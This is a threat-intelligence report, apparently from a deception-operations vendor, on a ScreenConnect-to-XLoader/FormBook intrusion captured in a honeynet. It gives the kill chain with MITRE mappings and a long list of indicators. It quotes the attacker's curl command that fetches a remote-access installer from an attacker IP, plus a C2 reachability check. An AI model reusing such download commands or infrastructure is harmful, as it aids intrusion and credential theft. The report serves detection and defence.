[Op Report] From PDF Phish to XLoader: A ScreenConnect Hands-on-Keyboard Intrusion

Written By MalBeacon

Credit: The top-notch team at Trinity Cyber ran the deception operation that captured this intrusion, operating in the Deception.Pro environment across the full engagement window. Analysis and telemetry reconstruction by Deception.Pro Threat Research.

Executive Summary

Over a roughly 54-hour window in early August 2026, an operator engaged a Deception.Pro deception workstation and executed a near-complete intrusion chain — from a PDF-themed phish through automated infostealer C2. The lure delivered a batch downloader that silently side-loaded ConnectWise ScreenConnect from attacker infrastructure; the operator used that access for hands-on-keyboard tooling before deploying XLoader (FormBook) via injection into a signed Windows binary, driving form-grabbing C2 across 63 domains and exfiltration to Sendspace.

What makes this one worth writing up: the co-occurrence of interactive ScreenConnect operator access and automated XLoader/FormBook deployment in a single coordinated intrusion is a first-observed pattern in our collection. A full walkthrough of the kill chain follows...

Environment at a Glance

  • Replica Role: Senior Financial Analyst

  • Replica Organization: Wealth Management

  • Industry: Finance

  • Topology: Microsoft Active Directory environment with 1,500+ endpoints and 500+ users.

  • Replica Location: United States

  • Observed duration: ~54 hours (Aug 6, 2026 through Aug 8, 2026)

  • Sensor Stack: LimaCharlie EDR, Zeek, Suricata with ETPRO

  • Infection Vector: MalSpam PDF

  • Primary Threat Families: ScreenConnect, XLoader (Formbook)

Note: Replica personas, organizations, and documents are AI-generated and randomized for believability. Any resemblance to real-world entities is purely coincidental.

The Kill Chain

1. Initial access & execution

The user ran Project_docs_file.bat from the browser Downloads folder, spawned from chrome.exe behind a PDF-themed lure. The script fingerprinted the host (net session, temp/dir enumeration), probed the C2 with Test-NetConnection 172[.]245[.]244[.]73 -Port 8040, then pulled the remote-access installer with curl:

curl -s -L -o ScreenConnect.ClientSetup.msi "hXXp://172[.]245[.]23[.]152:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"

Suricata fired on the bare-IP curl to a non-standard port and on "ET HUNTING Silent ScreenConnect Install (.msi)". (MITRE T1566, T1204.002, T1059.003, T1105)

2. Silent ScreenConnect deployment

The MSI installed ScreenConnect as a persistent service and the operator deployed two independent relay instances pointing at separate C2 endpoints, giving redundant hands-on control. The secondary relay carried the bulk of interactive traffic (~75 MB outbound), consistent with a sustained session (T1219):

  • Primary relay: 172[.]245[.]23[.]152:8041

  • Secondary relay (heavy use): 185[.]241[.]149[.]220:8041

  • MSI staging host: 172[.]245[.]23[.]152:8040

  • Reachability precheck: 172[.]245[.]244[.]73:8040

3. Hands-on-keyboard operations

Through the ScreenConnect RunFile capability (parent ScreenConnect.WindowsClient.exe), the operator ran a sequence of purpose-built tools (this is the part that separates an interactive intrusion from a fire-and-forget commodity infection):

  • HideUL_x64.exe — defense evasion; dropped ~yiqrkjp.tmp  (Aug 6 22:29, EDR)

  • Password.exe — credential access tooling  (Aug 8 12:54)

  • Opencamera.exe — webcam / collection access  (Aug 8 12:54)

  • phonepcNew (1).exe — launched Phone Link (ms-phone:), likely SMS/2FA access  (Aug 8 12:54)

In parallel, LSASS access was recorded from both wmiprvse.exe (45×) and ScreenConnect.ClientService.exe (7×, full-rights handle) — a strong credential-theft signal. (T1219, T1059, T1003.001, T1114)

4. XLoader / FormBook deployment

The operator downloaded bin.exe via the browser (Chrome forced to --ssl-version-max=tls1.2), copied it to C:\Program Files (x86)\CouchDB\Uvhvxmv.exe for persistence (identical SHA-256), and injected the payload into the signed system binary C:\Windows\SysWOW64\ROUTE.EXE as well as autochk.exe. LimaCharlie YARA confirmed Formbook and win_formbook_g0 on the injected process. (T1105, T1055, T1547)

5. Command & control (form-grabbing)

The injected process opened FormBook C2 (19,284 GET check-ins and 256+ POST submissions across 63 distinct domains) using the characteristic four-character URI pattern (e.g. /inzm/, /l3kf/) and a spoofed Android user-agent:

Mozilla/5.0 (Linux; Android 4.4.4; SM-G360P Build/KTU84P) AppleWebKit/537.36 …

The domain set blends actor infrastructure with legitimate-domain decoy beacons: a well-known FormBook trait to dilute analysis. First live check-in was to www[.]terminalmail[.]net at 08:13:47 (EDR clock). Full list in the appendix. (T1071.001)

6. Collection & exfiltration

XLoader drove a broad browser sweep against banking and brokerage portals (Fidelity, Chase, Bank of America, Schwab, Vanguard, PayPal, E*TRADE, Citi, Capital One, Amex and more) the target list of a form-grabber. Staging/exfiltration went to Sendspace (www[.]sendspace[.]com / fs13n1[.]sendspace[.]com), flagged by Suricata as a Sendspace API upload. A TLS-inspected phishing landing, edocupeperless[.]envoicesigndocpaperless[.]sbs, was also traversed. (T1005, T1567.002)

Why This Op Stands Out

Interactive RMM abuse and commodity infostealers usually run in separate lanes: different operator profiles, different objectives, different detection stories. Seeing ScreenConnect hands-on-keyboard access and XLoader/FormBook stitched into one coordinated operation is something we hadn't previously captured in the Deception.Pro environment, or found in public reporting.

It reads as either a single actor blending manual and automated tradecraft, or an access-broker-to-infostealer handoff inside one session. Either way, defenders may want to treat the ScreenConnect-plus-FormBook pairing as its own detection signature rather than two unrelated events. TLS inspection is what made the call possible here, turning encrypted beacons into attributable framework traffic.

Figure 1: ScreenConnect Remote Support panel

About Deception.Pro

We run long-term malware detonations paired with proactive threat-actor deception: instrumented Active Directory honeynets that capture real adversary telemetry end-to-end. This operation was run by Trinity Cyber in the Deception.Pro environment. Interested in running operations like these? Get in touch.

Indicators of Compromise

Network

  • 172[.]245[.]23[.]152:8040 — ScreenConnect MSI staging
  • 172[.]245[.]23[.]152:8041 — ScreenConnect relay (primary)
  • 185[.]241[.]149[.]220:8041 — ScreenConnect relay (secondary)
  • 172[.]245[.]244[.]73:8040 — reachability precheck
  • 69[.]31[.]136[.]5 — Sendspace exfil (www)
  • 69[.]31[.]136[.]57 — Sendspace exfil (fs13n1)
  • edocupeperless[.]envoicesigndocpaperless[.]sbs — phishing landing

File hashes (SHA-256)

  • Project_docs_file.bat: bc866cfcdda37e24dc2634dc282c7a0e6f55209da17a8fa105b07414c0e7c527
  • ScreenConnect.ClientService.exe: f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
  • bin.exe / Uvhvxmv.exe (Xloader): 67454abf7166471a29305abf4078e93452fab680e77ee5c13124d7536d2e9ef7
  • HideUL_x64.exe: 01a3089cc33adcfa20b235d794b70176326cf60181c95554d952839532afdce2
  • Password.exe: 18399555137b889a51eb543ddf01b3b7471a6e20453ee24801f8895528e7632f
  • Opencamera.exe: ceb3f7fe9a618ff29a21b126383c23900fad58d6ae2b5552d7e306e4b6acf4b0
  • phonepcNew (1).exe: f997cf7f299a3d4b089411a3492866b785a7ae34e5aa310797e1558f47b7bd18
  • wallpaper .NET (go13hwbi.dll): a7b72ac6f2ad482eb03f0960866aade14bba2495c084c08550e4ac6c0d6950ca
  • ~yiqrkjp.tmp (HideUL drop): 7b074da11e13d39f279aeb6fcd2d7b5e6cbf9a29676cfa923e0bdb2b64c2fc03

Host artifacts

  • C:\Users\{USER}\Downloads\Project_docs_file.bat
  • C:\Program Files (x86)\CouchDB\Uvhvxmv.exe (persistence)

XLoader / FormBook C2 domains (63)

Note that this malware family uses several decoy domains in attempt to thwart analysis.

  • www[.]terminalmail[.]net  [POST]  —  104[.]21[.]20[.]90, 172[.]67[.]192[.]7 
  • www[.]teamswanborn[.]nl  [POST]  —  172[.]67[.]158[.]18
  • www[.]kioora[.]site  [POST]  —  159[.]198[.]75[.]165
  • www[.]skriningusus[.]com  [POST]  —  202[.]10[.]43[.]24
  • www[.]avero[.]club  [POST]  —  15[.]235[.]83[.]124  /vabb/ 
  • www[.]yznsnn6201[.]top  [POST]  —  115[.]126[.]104[.]24, 115[.]126[.]104[.]5, 172[.]247[.]188[.]114
  • www[.]bsxcnc[.]com  [POST]  —  186[.]240[.]32[.]164
  • www[.]99acres[.]com  [POST]  —  184[.]29[.]31[.]199, 23[.]39[.]150[.]173, 23[.]47[.]202[.]148
  • www[.]antropick[.]cfd  [POST]  —  104[.]21[.]56[.]51, 172[.]67[.]177[.]253
  • www[.]riverview2go[.]com  [POST]  —  15[.]197[.]225[.]128, 3[.]33[.]251[.]168  
  • www[.]agen2paus3[.]info  [POST]  —  104[.]21[.]79[.]183, 172[.]67[.]147[.]9
  • www[.]slateexpress[.]com  [POST]  —  104[.]21[.]41[.]77, 172[.]67[.]162[.]15
  • www[.]wg88n[.]com[.]pk  [POST]  —  148[.]113[.]159[.]122
  • www[.]uiii[.]online  [POST]  —  72[.]251[.]11[.]125, 72[.]251[.]11[.]93
  • www[.]dudaewillian[.]com[.]br  [POST]  —  54[.]85[.]86[.]21
  • www[.]qpfbtk293[.]vip  [POST]  —  172[.]247[.]188[.]114, 172[.]247[.]188[.]115, 172[.]247[.]188[.]116, 172[.]247[.]188[.]117, 172[.]247[.]188[.]118
  • www[.]misanaplote[.]info  [POST]  —  81[.]2[.]196[.]19
  • www[.]matchfix[.]co[.]za  [POST]  —  129[.]232[.]128[.]66
  • www[.]365slotgames[.]club  [POST]  —  104[.]21[.]36[.]178, 172[.]67[.]198[.]64
  • www[.]stratedgeprojects[.]com  [POST]  —  72[.]251[.]11[.]125, 72[.]251[.]11[.]93
  • www[.]shyytech[.]com  [POST]  —  104[.]21[.]9[.]89, 172[.]67[.]159[.]178
  • www[.]vialcorepeptides[.]com  [POST]  —  104[.]21[.]95[.]236, 172[.]67[.]149[.]160
  • www[.]stjohnsparta[.]org  [POST]  —  142[.]93[.]124[.]86
  • www[.]terra7gestao[.]com[.]br  [POST]  —  179[.]188[.]55[.]55
  • www[.]akue[.]fr  [POST]  —  194[.]126[.]193[.]52
  • www[.]ensonhaber[.]com  [POST]  —  104[.]20[.]24[.]147, 172[.]66[.]153[.]225
  • www[.]cbfdc[.]asia  [POST]  —  8[.]137[.]89[.]115
  • www[.]fuq1w[.]shop  [POST]  —  104[.]21[.]1[.]229, 172[.]67[.]152[.]106
  • www[.]artofmanliness[.]com  [POST]  —  104[.]20[.]23[.]157, 172[.]66[.]147[.]246
  • www[.]equithi[.]lat  [POST]  —  104[.]21[.]73[.]8, 172[.]67[.]136[.]232
  • www[.]dglwz77x[.]app  [POST]  —  154[.]38[.]240[.]60, 154[.]38[.]240[.]61
  • www[.]s7f9xm[.]shop  [POST]  —  72[.]251[.]11[.]125, 72[.]251[.]11[.]93
  • www[.]madeformaya[.]com  [POST]  —  72[.]251[.]11[.]125, 72[.]251[.]11[.]93
  • www[.]digiacctplatform[.]top  [POST]  —  104[.]21[.]21[.]4, 172[.]67[.]195[.]68
  • www[.]jjarkaxxis[.]info  [POST]  —  104[.]21[.]13[.]138, 172[.]67[.]200[.]94
  • www[.]berlogaomsk[.]ru  [POST]  —  95[.]181[.]227[.]82
  • www[.]264090[.]com  [POST]  —  122[.]10[.]12[.]59
  • www[.]gregkeep[.]com  [GET]  —  72[.]251[.]11[.]125, 72[.]251[.]11[.]93
  • www[.]dcheiraserver[.]click  [GET]  —  172[.]236[.]9[.]185
  • www[.]466881[.]cyou  [GET]  —  103[.]73[.]161[.]204
  • www[.]arc-isle[.]org  [POST]  —  15[.]197[.]225[.]128, 3[.]33[.]251[.]168
  • www[.]plagueknightmovie[.]net  [GET]  —  15[.]197[.]225[.]128, 3[.]33[.]251[.]168
  • www[.]squad4game[.]xyz  [POST]  —  85[.]159[.]66[.]93
  • www[.]iifor[.]ru  [GET]  —  89[.]223[.]125[.]189
  • www[.]nytimes[.]com  [POST]  —  151[.]101[.]1[.]164, 151[.]101[.]129[.]164, 151[.]101[.]193[.]164, 151[.]101[.]65[.]164
  • www[.]msealn-resort-hotel[.]ru  [POST]  —  45[.]157[.]142[.]12
  • www[.]easyinsurance[.]info  [POST]  —  109[.]203[.]125[.]103
  • www[.]rossipi[.]ru  [GET]  —  87[.]236[.]16[.]13
  • www[.]kv954um1[.]lol  [POST]  —  156[.]227[.]80[.]229
  • www[.]eastbuildgroup[.]com  [POST]  —  72[.]251[.]11[.]125, 72[.]251[.]11[.]93
  • www[.]bfk[.]co[.]ke  [GET]  —  102[.]212[.]247[.]155
  • www[.]iptvireland[.]cloud  [GET]  —  104[.]21[.]95[.]96, 172[.]67[.]144[.]23
  • www[.]skellefteamanskor[.]se  [GET]  —  142[.]251[.]183[.]121, 173[.]194[.]206[.]121
  • www[.]henao-reyes[.]com  [GET]  —  51[.]222[.]104[.]17
  • www[.]musang178xay[.]cyou  [GET]  —  162[.]254[.]39[.]26
  • www[.]hlushkova[.]top  [GET]  —  2[.]58[.]67[.]83
  • www[.]wetech[.]co[.]kr  [GET]  —  121[.]88[.]250[.]13
  • www[.]biheclickers[.]com  [GET]  —  157[.]119[.]71[.]123
  • www[.]xzecq[.]click  [GET]  —  121[.]54[.]163[.]147, 121[.]54[.]163[.]148, 121[.]54[.]163[.]149, 121[.]54[.]163[.]150
  • www[.]bridgerits[.]dev  [GET]  —  65[.]21[.]170[.]252
  • www[.]adac[.]de  [GET]  —  4[.]182[.]3[.]74
  • www[.]apertureandasphalt[.]com  [GET]  —  72[.]251[.]11[.]125, 72[.]251[.]11[.]93
  • www[.]thereedlegacygroup[.]com  [GET]  —  72[.]251[.]11[.]125, 72[.]251[.]11[.]93
MalBeacon https://MalBeacon.com
Next

[Op Report] From ClickFix SpaceX1337 to Hands-on-Keyboard AD Attack